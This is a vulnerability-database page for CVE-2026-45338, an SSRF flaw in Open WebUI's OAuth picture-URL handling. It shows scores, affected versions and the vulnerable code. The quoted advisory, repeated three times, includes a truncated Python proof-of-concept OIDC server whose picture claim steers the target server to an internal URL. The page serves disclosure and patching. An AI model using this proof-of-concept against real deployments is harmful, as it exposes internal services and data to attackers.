Every CVE Search/ Get API key

CVE-2026-45338

Open WebUI: SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

7.7 HighFix available

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.40%Up 0.4 points since May 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.7

Open WebUI: SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.

Record
CVE-2026-45338
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-30667 7.7

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.

Record
EUVD-2026-30667
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-24c9-2m8q-qhmh 7.7

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
           …
Record
GHSA-24c9-2m8q-qhmh
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 7.7

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.

Record
CVE-2026-45338
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 7.7

Open WebUI: SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.

Record
CVE-2026-45338
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-24c9-2m8q-qhmh 7.7

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
           …
Record
GHSA-24c9-2m8q-qhmh
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVPYSEC-2026-2691 7.7

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
           …
Record
PYSEC-2026-2691
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
open-webui
PyPI
through 0.8.12
0.9.0
open-webui
PyPI
before 0.9.0, plus listed versions
0.1.1240.1.1250.2.00.2.10.2.2
Show 45 moreShow less
0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5
0.9.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45338 is a high vulnerability (CVSS 7.7) in Openwebui Open Webui, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in open-webui 0.9.0.

References

This page doesn't list everything

Left out here: 101 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open